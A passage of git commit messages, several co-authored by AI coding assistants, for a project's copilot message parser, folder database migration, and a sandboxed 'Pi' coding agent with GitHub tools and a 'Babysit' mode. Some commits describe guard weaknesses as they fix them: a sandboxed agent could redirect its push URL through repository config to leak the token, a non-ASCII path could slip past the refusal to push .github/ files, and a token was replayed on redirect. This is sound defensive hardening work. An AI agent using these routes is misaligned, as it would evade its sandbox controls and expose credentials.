prose fails the loss invariant, and the retracted thinking close fails both loss and retraction. They pass on current code, so nothing further is reachable through the shapes they generate. The generator composes several fragments between tags rather than one. With a single fragment it cannot place an unclosed opener and then enough prose to push a valid tag past the scan window, which is exactly the shape of one of the three — the first draft missed it for that reason alone. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): strip a stray null byte from the test file A space in the visibleView card placeholder was written as U+0000, so the file contained one null byte. Git classifies a file with a null byte as binary and shows "Bin 34936 -> 41628 bytes" instead of a diff, which made the test file unreviewable in the two commits since 2f9b60a. Nothing caught it: vitest, tsc and biome all read the file fine, and the byte sat inside a string literal used only as a placeholder in test-only output, so no assertion depended on it. Only `git diff` noticed. The PR diff renders as text again. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * refactor(copilot): split resolveTagAt into budget, classification, and resume resolveTagAt answered three orthogonal questions in one body of branches — is this a payload, how much of it may I read, and where do I resume — and every regression review found on this parser was one of those answers changing without another. Two of the five were regressions from the fix for the previous one, and the last two were not missed inputs at all: one was the code contradicting its own docstring, the other two branches applying different rules to the same question. That is what coupling looks like, not bad luck. Now three pieces: - inspectWithin — the read budget, and nothing else. Both paths spend it through the same helper; they previously applied the same constant in two shapes, and the difference between those shapes was a bug. - classifyBody — what the body IS. Pure: no positions, no outcome, no resume. Returns one of a closed set of five classes. - resumeForClass — where scanning continues, given the class. Nothing else. The closed set is the point. resolveMatchedPair and resumeForClass each switch over it exhaustively, so adding a class fails to compile until BOTH questions are answered for it. Verified by adding a sixth case: tsc reports exactly two errors, one per switch. The failure mode that produced five review rounds is no longer representable. Behaviour is identical, not merely believed to be. Diffed against the previous implementation over 7,500 comparisons — 1,500 generated messages, each parsed streaming, settled, and at three mid-stream cut points — asserting deep equality of the full result, not just rendered text. The one divergence the differential found was mine: the prose nested-marker path resumed at the marker rather than the opener, emitting one text segment where the old code emitted two. Display- identical, since adjacent text segments concatenate, and arguably better — but a behaviour change does not belong in a refactor, so prose nesting is now its own class that resumes exactly where it used to. The improvement is noted in the type for whoever wants it. The 70 tests, including the four property invariants added on the parent branch, pass unchanged. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): stop backtick stripping from unbalancing a whole message The display sanitizer removes a backtick sitting next to a workspace-resource tag, so a stray one cannot stop a chip rendering. It could not tell a real tag from prose MENTIONING the tag name, and a mention is the common case: The `<workspace_resource>` tag needs a real `path` to render. -> The <workspace_resource>` tag needs a real `path` to render. The opening backtick goes, the closing one is left unpaired, and it opens a code span that runs to the next backtick — inverting every code span for the rest of the message. A three-paragraph explanation renders with most of its prose in monospace and stray backticks visible in the text. Both unpaired-strip patterns now require the complete opener-payload-closer to be present with no backtick inside it. That is what separates the two cases: a payload is JSON and contains no backticks, while a mention has no closer at all. The one-sided stray backtick around a real tag — the case these patterns exist for — still strips, and the balanced-code-span unwrap above them is untouched. Pre-existing, and not in this branch's two files, but only reachable because of them: until this branch, a prose mention of the tag blanked the rest of the message, so the mangled formatting was never on screen to see. Verified end to end through sanitizer -> parser -> Streamdown: the reported message keeps all 14 backticks and renders 7 balanced code spans with no spurious chip, and a real backticked tag still renders its chip with the wrapping removed. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): apply the same backtick guard to the balanced unwrap The previous commit fixed the two unpaired-backtick strips but left the balanced unwrap above them, which has the identical flaw. It allows anything between opener and closer, so a message writing the two markers as separately backticked spans reads as ONE wrapped tag and loses its outer pair: Use `<workspace_resource>` then close with `</workspace_resource>` here. -> Use <workspace_resource>` then close with `</workspace_resource> here. Two backticks gone, the remaining two mispaired, same message-wide code-span inversion. This is the shape a message explaining the tag syntax naturally takes, which is how the original report was produced. All three patterns now forbid a backtick between opener and closer. Verified across the matrix: a real tag still unwraps whether the stray backtick is on both sides or one, and every mention shape keeps its backticks balanced. Known and accepted: a resource whose title or path itself contains a backtick will not have wrapping backticks stripped, so it renders as text instead of a chip. That failure costs one chip and is rare; the one it replaces corrupts the formatting of an entire message and is common. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): pair backticks the way markdown does, and bound the scan Review found my previous two commits traded one bug for a worse one. Three independent reviewers measured it. The trailing-backtick pattern anchored on the bare `<workspace_resource>` literal, so every opener started a lazy scan hunting a closer that never arrives. A message repeating the tag name in prose went quadratic: 168KB cost 154ms per call, and this runs on the main thread for every streamed chunk, so a long reply is seconds of frozen tab. The pattern it replaced was linear. Now 0.36ms on the same input. Two correctness bugs came with it, both from matching `\s*` around the tag: the pattern could start at one code span's delimiter and finish at another's, so `Open `config.json` <tag> then run `bun test`` lost a backtick; and the whitespace crossed newlines, eating one of the three backticks closing a fenced block that contained a tag, leaving the rest of the message inside the fence. The root problem was three global regexes each guessing at which backticks belong together. They now model what markdown actually does: find code spans by pairing a backtick with the next one on the same line, and unwrap a span only when it genuinely contains a complete tag. Pairing is what makes the neighbour and fence cases correct rather than separately patched. A leftover backtick pressed directly against a tag, with no partner, is still stripped. A negative lookahead stops any scan crossing another opener — the cost bound. Adds tests for the neighbour and fence shapes, and one that pins the complexity by asserting 168KB of repeated-opener prose finishes well inside 50ms; every fixture until now was under 1KB, which is why both quadratics were invisible. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): address the confirmed review findings Five findings from the review, each reproduced before being fixed and mutation-checked after. The nesting rule on the matched-pair path tested for anything tag-shaped while the streaming path tested for the tag NAMES. Reasoning that mentioned `<div>` or a generic was therefore released as visible prose — the model's thinking on screen because of an incidental angle bracket. Both paths now share one predicate, hasSpecialTagMarker, so they cannot disagree about whether a body was ever a tag. The broad regex keeps its other job: on a JSON body an invented name like `</workflow_resource>` really is stray content. Not changed, and worth saying why: a `<thinking>` body containing a REAL nested tag still releases and renders it. Suppressing it instead would mean the streaming path shows a card and the close then retracts it, which is the defect the previous commit fixed. Security rated the containment loss P2 while noting it grants no capability the top-level path lacks — a stream that can nest a tag can emit one at top level, which already rendered. unclosedTagCannotResolve blanked a full window before viability rejected the body on its first character, which is the common case of a tag name in prose. Testing that first: 43ms per streaming parse at 84KB, now 2ms. The unclosed path sliced the whole remaining buffer and then bounded it, copying the rest of the message per opener per chunk. inspectFrom slices once, bounded. A message that is ONLY a discarded payload rendered the raw JSON: discard emits no segment by design, so it reached the empty-segments fallback, whose job is to never blank a plain-text message. It now knows a discard happened. Pre-existing, but discard only became a first-class outcome on this branch. Three docstrings still pointed at resolveTagAt for decisions the refactor moved into classifyBody and resumeForClass. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * refactor(copilot): quality pass over the parser and its tests Four changes from a reuse/simplification/efficiency/altitude review. No behaviour change; 162 tests unchanged. blankJsonStringLiterals returns the body untouched when it contains no quote. No quote means no string literal, so the loop was copying the body to itself character by character. unclosedTagCannotResolve had learned to short-circuit before calling it; literalTextReason had not, and blanked unconditionally on every already-rejected tag on every later chunk. Putting the guard inside the helper fixes both callers at once. inspectWithin and inspectFrom were near-duplicates added at different times. One function with an optional start expresses both, and keeps the property the second one existed for: slice once, already bounded, never `content.slice(bodyStart)` first and bound after. The frame-replay property was 1727ms — 95% of the file's test time — because it parses every prefix, so message length multiplies into parse count, and the fragment pool included a 6KB filler. Retraction happens AT a frame boundary, not as a function of message size, so that property now draws from the short fragments; the window-crossing filler still gets coverage from the properties that parse each message once. 1727ms to 205ms, same seeds, same assertions. It also now calls replayFrames instead of hand-rolling the stepping loop it already had a helper for. Deferred deliberately, each with a reason: - Collapsing `prose-nested-marker` into `nested-marker`. Its own docstring names the simplification and defers it; it is a behaviour change and wants its own commit and test, which is the pattern the rest of this branch follows. - Bounding hasSpecialTagMarker on the prose path. Costs tens of microseconds on a long reasoning body, but a marker past the bound would flip that body from released to suppressed — a retraction, which is the bug two commits back. - Splitting the parser out of this `'use client'` file. The strongest structural finding: the file cannot be imported by server code, which is why the inbox executor carries its own thinking-strip regex. It is a mechanical move with no logic change and deserves its own PR, not commit 25 of this one. - Generalising the backtick sanitizer past `workspace_resource`, and replacing it with parser-owned backtick consumption. Same reasoning: real, and not here. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs(copilot): reattach an orphaned docstring and cut comment noise One real defect. Adding hasSpecialTagMarker put it BETWEEN unclosedTagCannotResolve and the docstring written for it, so two doc blocks sat stacked and the function they described ended up with none. A reader scanning the file would have read the first block as preamble for the wrong function. Moved back, and while there: "14 substring scans" is SPECIAL_TAG_NAMES.length * 2, so adding an eighth tag would have quietly made it wrong — it now says a pass per tag name. The rest is noise removal: - Three comments narrating what the parser used to do. A comment is read by someone looking at the current code, not the diff, and this branch already writes that history at length in its commit messages. - Three millisecond measurements. Each one already stated the durable claim — quadratic, or a copy thrown away per opener per chunk — and then appended a number that will rot. The one measurement kept is the blind-spot paragraph on MAX_UNCLOSED_BODY_SCAN, where the number is what justifies the constant. - Two of the four restatements of "the renderer concatenates adjacent text segments". Kept where it is load-bearing, on pushText and on the test helper. - One claim gone stale in the last commit: the read-budget doc still described two helpers agreeing with each other, after they became one function. Left alone deliberately: the rules that look arbitrary and are not — marker blanking, the differing resume offsets, the accepted trades. Those are why this file reads as heavily commented, and they are the ones worth having. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): sanitize backticks in one pass so a flush code span survives Review caught a case the previous fix missed. Two passes each decided independently which backticks belonged together, and with no space between a code span and a tag they disagreed: Open `config.json`<tag> ok -> lost the span's closing backtick Open <tag>`config.json` ok -> lost the span's opening backtick My test for this used a space between them, which is exactly why it passed. Both passes are now one left-to-right scan alternating between a code span and a tag with a stray backtick against it. A span consumes its own delimiters as the scan reaches them, so a flush neighbour keeps its pair with no special case — where a second pass had no way to know the backtick was already spoken for. This is the third arrangement of this file; the first two each handled the cases they were written for and broke a different one, which is what two passes guessing at the same question produces. A trailing backtick is only taken as a stray when no further backtick follows on the line. Otherwise it is the opener of the next span. Mutation-checked: removing that lookahead fails the new test and nothing else. Swapping the alternation order changes nothing any fixture covers, so the comment no longer claims the order is load-bearing — it distinguishes only a span that opens flush against a tag and closes elsewhere, which nothing pins. Thirteen shapes verified balanced, including all three flush variants, the fenced block, the neighbour with a space, both one-sided strays, and the mention shapes. 168KB of repeated openers: 0.18ms. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): rewind the scan-window resume so a straddling opener still parses Applied from an automated code review of this branch. Two findings, both verified by reverting the fix and confirming only the new test fails. `resumeForClass`'s `unexamined` case resumed at exactly `bodyStart + 4096`. That edge is an arbitrary cut, so an opener can begin just before it and finish just after — leaving its `<` behind the cursor. The opener scan only looks forward, so the tag was never found and its payload rendered as raw JSON text on a COMPLETED message, not just mid-stream. Reproducible for every filler length in 4077..4095; the existing borrowed-body test steps in 11-character units and never lands in that band. Backing the resume off by the longest marker guarantees a straddling opener is re-scanned from its `<`. The step is still ~4076 characters, so a long body still costs a bounded number of re-entries. The new test sweeps every offset across the band. The two complexity tests asserted absolute wall-clock ceilings (<50ms, <20ms), which measure the machine as much as the algorithm: they fail on a loaded CI box, and set generously enough not to, they let a genuine quadratic through at the single size they sample. Both now assert the scaling ratio across a 4x input instead (quadratic ~16x, linear ~4x). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(copilot): trust the raw body for markers once it is known not to be JSON `literalTextReason` blanks a body's quoted regions before scanning it for tag markers, so that syntax quoted inside a JSON string is not mistaken for a real nested tag. That blanking assumes quotes delimit JSON strings. One unbalanced `"` breaks the assumption: everything after it is treated as string content, which can hide a genuine marker. The verdict then degrades from `foreign-markers` to `never-a-payload`, and the resume changes with it — from the marker offset to past the close — flattening a real tag inside the span. A card already on screen un-renders into raw JSON when the closing tag finally arrives, and a valid tag after it never renders. Blanking is only meaningful while the body might BE JSON. Once viability or a failed parse has proved it never was, that premise is void and the raw text is the honest evidence, so rescan it and resume at the marker. Both routes to "never JSON" now funnel through one branch. The rescan applies to the failed-parse route too, not only the viability one — patching just the latter leaves the same defect reachable through the former. Behaviour for a body that IS valid JSON is untouched: a well-formed payload that fails its shape guard is still discarded, and tag syntax quoted inside a valid payload is still invisible to the scan. Adds the repro as two tests — the settled parse, and frame-by-frame so the un-render is pinned directly — plus two unbalanced-quote fragments to the property corpus. Reverting the rescan fails exactly those two tests. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * refactor(copilot): share the scaling-ratio harness between the two perf tests Both complexity tests hand-rolled the same 15-line harness — build a repeated tag mention, take the fastest of five runs at two input sizes, assert the ratio — differing only in which function they timed. Changing the run count, the sample sizes, or the threshold meant editing both in lockstep. Extracted to `scalingRatioOver4x`, following the existing `*-test-helpers.ts` convention in this tree. The rationale for asserting a ratio rather than a wall-clock ceiling now lives in one place instead of being paraphrased twice. Also drops a redundant disjunct in the opener scan: `nearestStart` and `nearestTagName` are only ever assigned together, so `nearestStart === -1` holds exactly when the name is empty. Testing the name alone is the same check and is the one that narrows the union for `resolveTagAt`. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs(copilot): correct a resume comment the rewind fix left inaccurate The `unexamined` case claimed "everything read is emitted as text by the caller". That was true when the resume was exactly the window edge, but the straddling-opener rewind holds the last marker's worth of the window back so it can be re-scanned rather than flattened — so the sentence contradicted the paragraph directly beneath it. Nothing is lost either way; the caller emits up to wherever this resumes. Also drops two "Round-N class:" prefixes from test comments. They point at review rounds of this PR, which mean nothing to a reader after it merges; the sentences that follow already say what the bug was. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * test(copilot): pin the blanking rule with a body staging cannot recover CI runs the merge with staging, and staging's desktop PR (#5998) taught `parseSpecialTagData` to recover a failed `<question>` body's prompt and render it as text instead of returning null. That recovery lands before `classifyBody` is ever consulted, so this fixture — whose quoted `</options>` sat inside its `prompt` — stopped exercising the blanking rule and started asserting the recovery. Merged, it rendered "A use </options> here? B" instead of "A B". Moving the quoted marker to a non-`prompt` field restores what the test is for: a marker inside a JSON string must be blanked before the scan, or a broken payload gets classified as literal text and its raw JSON is shown. A body with no recoverable prompt reaches `discard` on both sides of the merge, matching the prompt-less fixture the sibling test above already uses. Behaviour is unchanged on either branch alone; only the fixture moved. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * test(copilot): cover every tag in the property invariants, and pin that it stays that way `VALID_TAGS` and `NEEDLES` hand-picked three or four of the seven tags the parser resolves. `credential`, `usage_upgrade`, and `mothership-error` were exercised by no invariant at all — not the card-count property, not retraction-across-frames, not settled-vs-last-frame — and nothing failed to say so. The property block's whole argument is that it covers combinations no fixed example set would, which was only true for four sevenths of the tag space. Fixtures are now keyed by tag name and checked against SPECIAL_TAG_NAMES, so adding a tag without a fixture fails a test instead of quietly falling outside every property here. `thinking` is listed separately: it renders nothing, so it cannot carry a card invariant. SPECIAL_TAG_NAMES is exported for that check, matching the five sibling `*_TYPES` unions in the same module that are already exported. NEEDLES derives from it too, so the memoization test searches every opener the parser does. All three newly covered tags pass every invariant — this closes a coverage gap, it does not fix a bug. Removing any one fixture fails the new guard. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs(copilot): state the actual bound on the thinking nesting rule The docstring implied generics are excluded from the marker check. They are not: the match is a substring test, so `Promise<void>` is safe only because `void` is not a tag name, while `Promise<options>` does match and would release a thinking body as text. Says so plainly now, with why it is left as-is: the boundary check that would narrow it wants a lookbehind, which is Safari 16.4+ and would be a parse-time SyntaxError on the versions this app still supports — a dead client chunk is a worse outcome than the bug. Reaching it also needs an inline `<thinking>` body, which the agent no longer emits, discussing a type named exactly after a tag. Comment only; no behaviour change. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
…r_id FKs (#6051) * chore(db): drop the legacy folder tables and adopt the deferred folder_id FKs Contract migration closing out the generic-folders cutover: drops workflow_folder and workspace_file_folders, and adopts the two folder_id foreign keys 0272 deliberately deferred. Runs a final INSERT-ONLY reconcile first so no stranded legacy folder is lost by the drop. Insert-only because 0272 deliberately renamed 47 workflow folders to dedupe them, and an upsert would revert all 47. In production this is a no-op (verified 0 stranded); it exists for deployments that never ran the post-drain reconcile as an operational step, self-hosted upgrades above all. Hand-written rather than drizzle-generated: the generated form drops the tables BEFORE adding the FKs with no step to re-root unresolvable folder_ids, so one dangling id fails ADD CONSTRAINT after the legacy data is already gone; it also validates the FK inline, holding ACCESS EXCLUSIVE across a full scan of the 1.7M-row workspace_files, and uses DROP TABLE CASCADE. The generated snapshot is kept so drizzle-kit generate reports no schema changes. Every re-root path dedupes, because all three destinations are partial unique indexes keyed on a coalesced nullable column: folder, workflow, and workspace_files. Parents must also be reachable — an active row re-roots off a soft-deleted parent, while a soft-deleted row may keep one. Also hardens the retention sweep, which the new ON DELETE SET NULL exposes: a surviving active child re-rooted by the FK can collide at the workspace root, and chunkedBatchDelete turns that 23505 into a permanent per-chunk stall. The folder cleanup target now renames children first, covering workflows, files and subfolders, re-asserts eligibility so a restore mid-batch is not stripped, and treats the deduplicated name as a hint since both allocators can return a colliding one. * fix(db): stop the re-root dedupe renaming personal workflows workflow.workspace_id is nullable, and NULL is treated as EQUAL by PARTITION BY but UNKNOWN by the = in base_taken. So for personal workflows rn incremented across the group while no collision was ever detected: the dedupe could only fire spuriously, renaming a user-visible workflow that needed no rename, since the unique index treats NULL workspace_id rows as distinct anyway. The file block already carried the equivalent guard. Also gives step 1's inserts ON CONFLICT (id) DO NOTHING. It restates the stranded guard, closing the window between that read's snapshot and the index check — an operational re-run of 0274, or a live pod, committing into folder mid-statement would otherwise raise 23505, and migrate.ts retries only 55P03. 0272 and 0274 were already written this way; step 1 was the exception. Corrects three comments that claimed more than the code delivers: the header's 'no legacy folder is lost' (an id already present under another resource_type cannot be rescued), the reachability note (a cycle among stranded rows survives a per-row parent check), and a note made stale by the ON CONFLICT above.
…min, and cover the two untested modules (#6062) * fix(folders): stop archived rows skewing sortOrder, hide them from admin, and cover the two untested modules nextFolderSortOrder returned min - 1 over ALL rows including soft-deleted ones, so every delete ratcheted the floor further negative and never recovered — an archived folder at -400 forced the next new folder to -401 forever. Both minima (folders and child resources) now see only rows a user can still see, which is how the Files path has always worked. The admin workspace-folders endpoint counted and paginated soft-deleted folders, so an operator saw phantom folders and an inflated total, disagreeing with every user-facing list. Adds naming.test.ts and queries.test.ts. Both modules had zero tests and are mocked at every call site, so their bodies executed in no test anywhere. That left unasserted the two bug classes that caused real defects in the folder migration: the suffix sequence (must start at (1) and skip taken suffixes) and resourceType scoping on the id-keyed lookups, where a missing clause silently files a knowledge base under a table folder. Every assertion is mutation-checked. The first version of the sortOrder test was vacuous — for a root folder the parent condition is itself an isNull node, so a presence-only check passed with the soft-delete filter deleted; it now asserts the specific column. * refactor(testing): share the drizzle condition-tree helpers Asserting on WHERE clauses is the only way to pin a filter the row-queue mocks cannot enforce — a mock returns whatever was queued regardless of the predicate — so this pattern spreads to every test that guards a query's scoping. It had reached five local copies of the same flatten/has pair, four of them added by the tests in this branch. Moved to @sim/testing beside createMockSqlOperators, whose output shape they parse, so the helper and the node types it depends on live together.
…does (#6063) A comment pass over this branch found four factual errors, all mine: - the admin route test justified its column-pinned assertion with reasoning copied from lifecycle.test.ts — that condition has no second isNull node, so the stated vacuity could not occur there - 'every clause mirrors one column of the partial unique index' was wrong: deletedAt is the index PREDICATE, and name has no clause at all - 'optimistic client reparents can write a cycle' is unsupported — wouldCreateFolderCycle has one caller and no write path bypasses it; the real origin is two concurrent reparents each passing the check - 'restoreFolder runs restoreChildren BEFORE un-archiving' holds only for the injected hook path; the in-transaction fallback runs after restoreFolderRows The rest trims comments that restated the code or duplicated a TSDoc block on the module under test, and pins three presence-only isNull assertions to the deletedAt column so they cannot be satisfied by an unrelated nullable filter — the same fragility that made an earlier assertion here vacuous.
…b tools, sandbox lifetime (#5962) * feat(pi): optional multi-provider web search for the coding agent Adds a search provider dropdown (Exa, Serper, Parallel, Firecrawl) to the Pi block, off by default. The selected provider's key comes from the block field or Workspace Settings → BYOK; a Sim-hosted key is never spent, so a missing key fails the run with a setup message instead of quietly billing Sim. Search is available in all three modes. Local Dev and Review Code register a host-side tool that goes through the existing provider tools, while Create PR has no host in the loop and gets a generated Pi extension in the sandbox. Both paths derive their requests from one normalizer and are held together by a parity test, since the sandbox copy cannot import Sim's code. Results are normalized to title, URL, snippet, and publication date, capped per field and per envelope, marked untrusted in the prompt, and limited to 20 searches per run so a tool loop cannot drain the workspace's quota. Co-authored-by: Cursor <cursoragent@cursor.com> * fix(pi): drop the banned JSON round-trip from the search parity test `check:utils` bans `JSON.parse(JSON.stringify(...))`. The round-trip was normalizing the host body to its wire form, which buys nothing here: the bodies are plain JSON and `toEqual` already ignores undefined members. Co-authored-by: Cursor <cursoragent@cursor.com> * chore(agents): add reviewed-development skill and the babysit implementation plan Carries the plan and review protocol into the repository so a cloud agent working from the remote can read them. Temporary: the plan is removed before this branch goes for review. Co-authored-by: Cursor <cursoragent@cursor.com> * feat(pi): babysit foundations — shared PR/push extraction, GitHub tools, sandbox lifetime Stage 1 of the Babysit plan (.agents/plans/pi-babysit-mode.plan.md), sections 0, 3, and 7 plus their tests. The Babysit mode itself lands in stage 2. Section 0 — shared extraction and push hardening: - Move PREPARE_SCRIPT, PUSH_SCRIPT, and the finalize path/size constants from cloud-backend.ts into cloud-shared.ts. - Move Review Code's PR snapshot helpers into pi/github-pr.ts, generalized off PiCloudReviewRunParams to a plain PullRequestCoordinates, and split the raw fetch from the "must be open" wrapper so a mode that has to report a closed PR gracefully can build on the raw form. - Harden the one token-bearing command: GIT_CONFIG_NOSYSTEM/GIT_CONFIG_GLOBAL on its env, git by absolute path, and an explicit HEAD:refs/heads/$BRANCH refspec. The clone script now emits a .git/config digest marker as its last line for every mode; only Babysit will verify it. Section 3 — five GitHub tools, registered but not wired into the block dropdown: github_list_review_threads, github_reply_review_thread, github_resolve_review_thread, github_status_check_rollup (GraphQL) and github_job_logs (REST). Plus a nullable repo_full_name on the PR reader's branch parse, declared on its own output rather than the shared BRANCH_REF_OUTPUT. Section 7 — CreateSandboxOptions.lifetimeMs threaded to E2B's timeoutMs, clamped below the one-hour Hobby ceiling and lowerable by PI_SANDBOX_LIFETIME_MS. Daytona is deliberately untouched. The per-command Pi timeout is capped at the lifetime. * fix(tools): correct the rollup CheckRun selection and stop leaking the token on redirect Two defects found in review, both verified against the live GitHub API. GraphQL's CheckRun has no `output` object — that is REST's shape. It exposes `title`, `summary`, and `text` as flat nullable fields, confirmed by introspecting the schema. The old selection made every github_status_check_rollup call fail with "Field 'output' doesn't exist on type 'CheckRun'", delivered as an HTTP 200 errors payload that no fixture-based test could catch. The corrected query was run against a real PR and returns 18 check runs plus a Vercel status context, with title and summary null on every Actions run exactly as the plan predicted. github_job_logs redirects to third-party blob storage, and Sim's tool fetch follows redirects itself rather than through the fetch spec, so it replayed the GitHub token to that host. Tools can now declare `stripAuthOnRedirect`, and the log reader does. Also from review: pin Review Code's "must be open" guard with a test now that it lives in its own function, drop the stream reader in github_job_logs since the executor already hands transformResponse a capped buffer, and correct three doc comments that overstated what they guaranteed. * test(tools): cover the stripAuthOnRedirect plumbing end to end Asserting the flag on the tool config alone would not catch a regression in formatRequestParams or in the executor's call into secureFetchWithPinnedIP, so pin what the fetch layer actually receives, in both the opted-in and the default case. * fix(pi): correct the push-hardening claim, reserve finalize time, tighten isRequired Three review findings, each verified rather than taken on faith. PUSH_SCRIPT's comment claimed GIT_CONFIG_NOSYSTEM and GIT_CONFIG_GLOBAL close config-driven URL rewriting. They do not: reproduced locally on git 2.43, a repository-local url.*.insteadOf still rewrites the push URL and sends the token's userinfo to another host. That is the scope a root agent in the checkout can actually write, and it stays open until a mode verifies the config digest — which is Babysit, per the plan. The comment now says that instead of the opposite. PI_TIMEOUT_MS capped the Pi command at the whole sandbox lifetime, so the sandbox always died first and the stated benefit — a clean timeout instead of an opaque SDK error — could never happen. It now reserves the clone and finalize budgets it shares the sandbox with, leaving the host time to commit and push whatever the agent produced. isRequired is Boolean! on both CheckRun and StatusContext (confirmed by schema introspection), so the nullable parse modelled a value GitHub cannot send and left stage 2 a tri-state to handle. It is required now, and an absent value fails loudly rather than reading as "not required", which would let a failing required check stop blocking the green verdict. Also: a github-pr.test.ts pinning that the raw fetchPrSnapshot does not throw on a closed PR (the entire reason for the wrapper split, previously untested), a cloud-shared.test.ts for the timeout reserve and the digest line, the E2B lifetime ceiling documented next to E2B_PI_TEMPLATE_ID as section 7 asks, and the new registry tests no longer leaving their fake tools registered. * fix(pi): reserve both finalize budgets in the Pi command timeout Create PR dispatches two commands at FINALIZE_TIMEOUT_MS, not one — the commit and the push — so reserving a single budget left the push unbudgeted and the worst case overshot the sandbox lifetime by exactly that amount. Losing the sandbox during the push is the most expensive moment to lose it: the work is committed and unpushed, which is the outcome the reserve exists to prevent. The comment no longer claims more than the arithmetic delivers. What is reserved is each command's timeout ceiling rather than its measured elapsed time, so this is a budget that adds up, not a guarantee. Two other comments described Babysit verifying the config digest in the present tense, when no mode verifies it yet. Also drops the digest-line test: it asserted a string constant contains its own substrings, while cloud-backend.test.ts already pins the property that matters — the marker being the clone's last line, after the remote rewrite. * docs(pi): stop describing Babysit's digest check in the present tense Three comments still read as statements of current behavior: the Create PR push test's note beside the assertion that proves no verification happens, github-pr's module doc naming a second consumer that does not exist yet, and the timeout floor claiming a short-lifetime run was doomed regardless when the reserved ceilings are pessimistic enough that it may well finish. * fix(pi): scope the sandbox lifetime cap to E2B and harden the job-log path Deriving PI_TIMEOUT_MS from the E2B lifetime applied it to every provider, so a Daytona Create PR run lost its ~90-minute agent turn to a ceiling Daytona does not have — it stops on inactivity instead. The reserve now only applies when the provider imposes an absolute lifetime. A configured PI_SANDBOX_LIFETIME_MS below the clone and finalize reserves left no positive remainder for the turn, so E2B could reap the sandbox before the push. Such a value is raised to a floor rather than rejected: a module-scope throw on a config typo would take down every path that imports this, not just Pi. github_job_logs returns its response body verbatim, so unlike its siblings that parse a typed shape, a coordinate carrying URL syntax turned a bearer-authenticated request into a general read. Path segments are now escaped and the job id checked. Also corrects the plan's rollup field path: GraphQL's CheckRun has no output object, and isRequired is Boolean!, so stage 2 needs neither the nested path nor an unknown-required branch. Co-authored-by: Cursor <cursoragent@cursor.com> * Add Pi Babysit mode * fix(pi): wait on required checks before optional failures * fix(pi): preserve Daytona babysit budget * fix(pi): bound babysit round setup * fix(pi): keep babysit sandboxes active * fix(pi): report babysit round state accurately * fix(pi): classify babysit finalize failures * fix(pi): preserve babysit partial state * fix(pi): retain post-push check state * fix(pi): retain pending rereview state * fix(pi): normalize empty sandbox provider * Move Babysit into Create PR * Fix Babysit wait-only budgeting * Wait for reviews before skipped-thread exit * Polish Babysit reviewer field spacing * Fix duplicated Internet Search section from staging merge The staging merge landed the branch's Internet Search section and staging's reviewed replacement side by side, leaving two `### Internet Search` headings and two `#internet-search` anchors. The branch's copy also still claimed a Settings > BYOK fallback for the search key, which staging deliberately removed. Keep staging's section and fold the branch's only new fact — that the Babysit continuation sandbox carries both keys — into its warning callout. * fix(pi): correct Babysit check, budget, and push-guard accuracy Correctness: - The `.github/` push refusal compared raw `git diff --name-only` output, which git C-quotes for non-ASCII paths. `.github/workflows/évil.yml` arrived as `".github/workflows/\303\251vil.yml"` — leading quote included — so neither `.github` nor `.github/` matched and the file pushed. Both name-listing diffs now pin `core.quotePath=false`; Create PR's does too so `changedFiles` reports real names. - `CANCELLED` and `STALE` were counted as non-failing conclusions, so a cancelled required check produced `checksGreen: true` and `stopReason: 'clean'` on a PR branch protection still blocks. Both now fall through to failing, matching every other unknown conclusion. - The per-round check bound counted optional checks, so a repo with a wide optional matrix ended the run at `bounds_exceeded` before a single review thread was addressed. Only required-check overflow is fatal now; the rest trims, required checks first, and reports what was left out. This also makes the prompt's existing slice reachable. - A re-review request that posted nothing still re-armed `requestedAt` with `landed: false`, leaving the loop waiting on a review nobody had asked for — burning the remaining lifetime on a billed idle sandbox before reporting `awaiting_review` on a clean PR. The previous request now stands. - Prompt bounds threw where every other bound in the file trims, ending a busy PR's run on round one after the PR and its review comments were already posted. They now drop trailing entries and note the omission. - `babysitMode` used a strict boolean compare; a `switch` input arriving as the string 'true' silently opened a draft PR and skipped Babysit while the editor showed it enabled. Matches `wait-handler`'s coercion now. - The fork check compared head against the block's typed owner/repo, so a renamed repository — which GitHub serves through a 301 while reporting the canonical name — was reported as a fork. Compares head against base now. - Each round's diff is capped like Create PR's. The cumulative guard measures the net change, so a round that reverts an earlier addition passed it while contributing a full-size diff. - Reviewer mentions must start with `@`. Each entry becomes its own issue comment re-posted every round, so a comma inside one left prose on the PR. Efficiency: - Thread and check reads per poll now run together; neither consumes the other's result and both are paginating loops. - `babysitReviewLandedSince` takes the `latestReview` the caller already fetched instead of re-listing the PR for it. - Actions log reads fan out in small batches rather than one at a time. Cleanup: - `BabysitFinalizeError` was a twin of `BabysitGitHubError`; folded together. - Replaced the hand-inlined copies of `threadsAreClean`. - Dropped `MEMORY_MODES`, a duplicate of `AUTHORING_MODES`, and the `parsePiMode` tombstone for a mode that never shipped. Adds regression tests for the quoted `.github` path, cancelled/stale required checks, and the renamed-repository snapshot. * fix(pi): budget Babysit against the run's real deadline Three fixes that each needed to land a level below where the symptom showed. Execution deadline. Babysit planned its wait loop against `getMaxExecutionTimeout()`, which unconditionally returns the enterprise async ceiling (90 min) with no regard for the run's plan or sync/async mode — the sync ceiling is 300s on free, 3000s on pro. A synchronously triggered run was therefore killed mid-loop with the PR already opened, its review comments already posted, and none of the rounds/stopReason outputs produced. Rather than thread a numeric deadline through 